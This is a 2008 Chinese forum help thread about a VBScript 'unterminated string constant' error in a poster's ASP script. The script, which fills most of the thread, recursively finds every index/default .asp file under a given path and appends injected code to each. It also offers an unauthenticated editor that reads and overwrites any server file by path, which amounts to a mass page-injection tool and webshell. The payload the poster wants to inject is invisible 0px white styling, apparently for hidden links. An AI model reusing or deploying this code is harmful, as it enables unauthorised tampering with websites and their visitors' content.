Board logo

标题: [求助]VBS 800a0409 错误如何解决 急~~~~ [打印本页]

作者: w1314ich     时间: 2008-4-25 15:09    标题: [求助]VBS 800a0409 错误如何解决 急~~~~
有个asp脚本:
========================================代码开始
<%Server.ScriptTimeout=10000
Response.Buffer=False
%>
<html>
<head>
<title>AddUrl</title>
</head>
<body>
<%
ASP_SELF=Request.ServerVariables("PATH_INFO")

s=Request("fd")
ex=Request("ex")
pth=Request("pth")
newcnt=Request("newcnt")

If ex<>"" AND pth<>"" Then
select Case ex
Case "edit"
CALL file_show(pth)
Case "save"
CALL file_save(pth)
End select
Else
%>
<form action="<%=ASP_SELF%>" method="POST">
Dir:
<input type="text" name="fd" size="40">
<input type="submit" value="START">
</form>
<%End If%>
<%
Function IsPattern(patt,str)
Set regEx=New RegExp
regEx.Pattern=patt
regEx.IgnoreCase=True
retVal=regEx.Test(str)
Set regEx=Nothing
If retVal=True Then
IsPattern=True
Else
IsPattern=False
End If
End Function

If IsPattern("{1}:{1}(\\|\/)",s) Then
sch s
Else
If s<>"" Then Response.Write "Invalid Agrument!"
End If

Sub sch(s)
oN eRrOr rEsUmE nExT
Set fs=Server.createObject("Scripting.FileSystemObject")
Set fd=fs.GetFolder(s)
Set fi=fd.Files
Set sf=fd.SubFolders
For Each f in fi
rtn=f.Path
step_all rtn
Next
If sf.Count<>0 Then
For Each l In sf
sch l
Next
End If
End Sub

Sub step_all(agr)
retVal=IsPattern("(\\|\/)(|index|default)\.(asp)\b",agr)
If retVal Then
step1 agr
step2 agr
Else
Exit Sub
End If
End Sub
%>
<%Sub step1(str1)%>
<a href="<%=ASP_SELF%>?ex=edit&pth=<%=str1%>" target="_blank"><%=str1%></a><br>
<%End Sub%>
<%
Sub step2(str2)
addcode="加入自己需要的网页信息代码" 这一行
Set fs=Server.createObject("Scripting.FileSystemObject")
isExist=fs.FileExists(str2)
If isExist Then
Set f=fs.GetFile(str2)
Set f_addcode=f.OpenAsTextStream(8,-2)
f_addcode.Write addcode
f_addcode.Close
Set f=Nothing
End If
Set fs=Nothing
End Sub
%>
<%
Sub file_show(fname)
Set fs1=Server.createObject("Scripting.FileSystemObject")
isExist=fs1.FileExists(fname)
If isExist Then
Set fcnt=fs1.OpenTextFile(fname)
cnt=fcnt.ReadAll
fcnt.Close
Set fs1=Nothing%>
FILE: <%=fname%>
<form action="<%=ASP_SELF%>" method="POST">
<textarea name="newcnt" cols="100" rows="30"><%=cnt%></textarea>
<input type="hidden" name="pth" value="<%=fname%>">
<input type="hidden" name="ex" value="save">
<input type="submit" value="SAVE">
</form>
<%Else%>
<p>文件不存在.</p>
<%
End If
End Sub
%>
<%
Sub file_save(fname)
Set fs2=Server.createObject("Scripting.FileSystemObject")
Set newf=fs2.createTextFile(fname,True)
newf.Write newcnt
newf.Close
Set fs2=Nothing
Response.Write "<p>文件保存成功.</p>"
End Sub
%>
</body>
</html>

====================================代码结束

我把标注的那一行中的自己需要加入的代码换成:

<style type="text/css">
<!--
.STYLE3 {
font-size: 0px;
color: #FFFFFF;
}
body {
margin-top: 0px;
}
a:link {
text-decoration: none;
}
a:visited {
text-decoration: none;
}
a:hover {
text-decoration: none;
}
a:active {
text-decoration: none;
}
-->



结果运行这个ASP脚本后出现了:


Microsoft VBScript 编译器错误 '800a0409'

未结束的字符串常量

\wwwroot\add.asp, line 84


请问改如何解决

Last edited by w1314ich on 2008-4-25 at 03:11 PM ]

作者: slore     时间: 2008-4-25 15:21
<style type=""text/css"">
<!--
.STYLE3 {
font-size: 0px;
color: #FFFFFF;
}
body {
margin-top: 0px;
}
a:link {
text-decoration: none;
}
a:visited {
text-decoration: none;
}
a:hover {
text-decoration: none;
}
a:active {
text-decoration: none;
}
-->

作者: w1314ich     时间: 2008-4-25 15:28
还是不行
运行后出现:

无法显示网页
您要访问的网页有问题,无法显示。

--------------------------------------------------------------------------------

请尝试以下操作:

打开 www.xxx.com 主页,然后查找指向您感兴趣信息的链接。
单击刷新按钮,或以后再试。

单击搜索,寻找 Internet 上的信息。
也可查看相关站点列表。




HTTP 500 - 内部服务器错误
Internet Explorer

作者: w1314ich     时间: 2008-4-25 15:39
自己顶一下~~~

作者: w1314ich     时间: 2008-4-25 17:42
有谁能帮帮我吗

作者: abcd     时间: 2008-4-25 19:12
楼主加的那段是CSS,怎么会加在asp语块<% ...%>里面呢?